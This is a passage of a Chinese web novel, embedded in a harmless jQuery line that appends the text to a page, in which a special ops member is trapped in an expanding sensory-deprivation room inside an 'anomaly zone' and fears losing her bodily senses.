$(''.inform'').remove(); $(''#content'').append('' 面攻击,却怎么也没想到会被困在一个类似感官剥夺室的房间。 是啊,感官剥夺室,她怎么现在才意识到呢。 成为一名特战组队员前,都必须接受压力测试,其中一项就是感官剥夺。 普通人在感官剥夺室里最多撑不过四小时,便会出现幻觉、情绪失控,甚至精神直接崩溃,而最糟糕的结果是自残至死。 但对于能进到安防局特战组的人来说,这根本不是难事。 赵涵光就在里面待过一百多个小时,远超最低要求的四十八小时。 然而现在她才意识到测试与现实的区别有多大。 一对比就会发现安防局所布置的空间根本不能称作感官剥夺室。那是在诺伦的协助下才能勉强维持的所谓真空状态,但实际上再强大的人工智能,也无法抹去现实的痕迹。 在那个空间里,她依旧能够捕捉到墙体深处虫子蠕动的细响;要是凭空生成的虚拟空间,她也能听到虚拟边界之外传来的机械运转声。 不仅是听觉没有完全被剥夺,触觉、视觉、嗅觉、味觉,这些都无法被彻底剥夺。 然而此刻,她身处的黑色房间完全颠覆原有认知,因为这里就是真正意义上的感官剥夺室。 没有声音,没有光影,也没有气味,更没有痛觉,真正意义上的对感知本身的抹除。 想到这里,赵涵光缓慢呼出一口气,试图冷静可双唇止不住颤抖。 原来,这就是异象区。 她自嘲一笑,把心里那点失控压回去,握紧拳头,转身继续在房间里摸索。 可随着时间流逝,房间还在不停扩大,墙面被推得越来越远,绝望随之蔓延,她却仍旧期待:也许扩大后的某个角落里会出现出口。 然而反复确认了上百遍后,她只能靠在墙角坐下喘气。 她终于明白为什么这个空间只保留了触觉,目的就是为了让她一次次感到挫败。 墙面往外挪动,就好似会带来一丝希望,可每一次期待都会落空,让绝望更浓。 而她甚至不知道自己已被困在这里多久了。 尽管一直有在脑海里计时,理智告诉她不超过两小时,可体感却像是过了好几天。 她知道这是错觉,因为并不感到饥饿甚至口渴,可又想到一个更糟糕的可能,也许这个房间剥夺的不只是外部感官。 如果内部感官同样没了,那就意味着她已经失去了身体的警报系统。 她无法确认自己是否饥饿、是否缺水、是否寒冷,甚至不知道自己是否需要排泄,那便说明低血糖、脱水、失温等等这些情况可能已经发生。 思及此,绝望再度袭来。 赵涵光猛地摇头,试图强行中断懊丧情绪。 没事的,只要还能动,就说明身体没问题。 她抬起手掌,握紧又松开,为能完成这么简单的动作而松口气。 但下一刻,一个无法回避的问题浮现出来:她还能动多久? 再这样下去,她的身体迟早无法动弹,她又该如何逃出这里? 到底,该怎么办?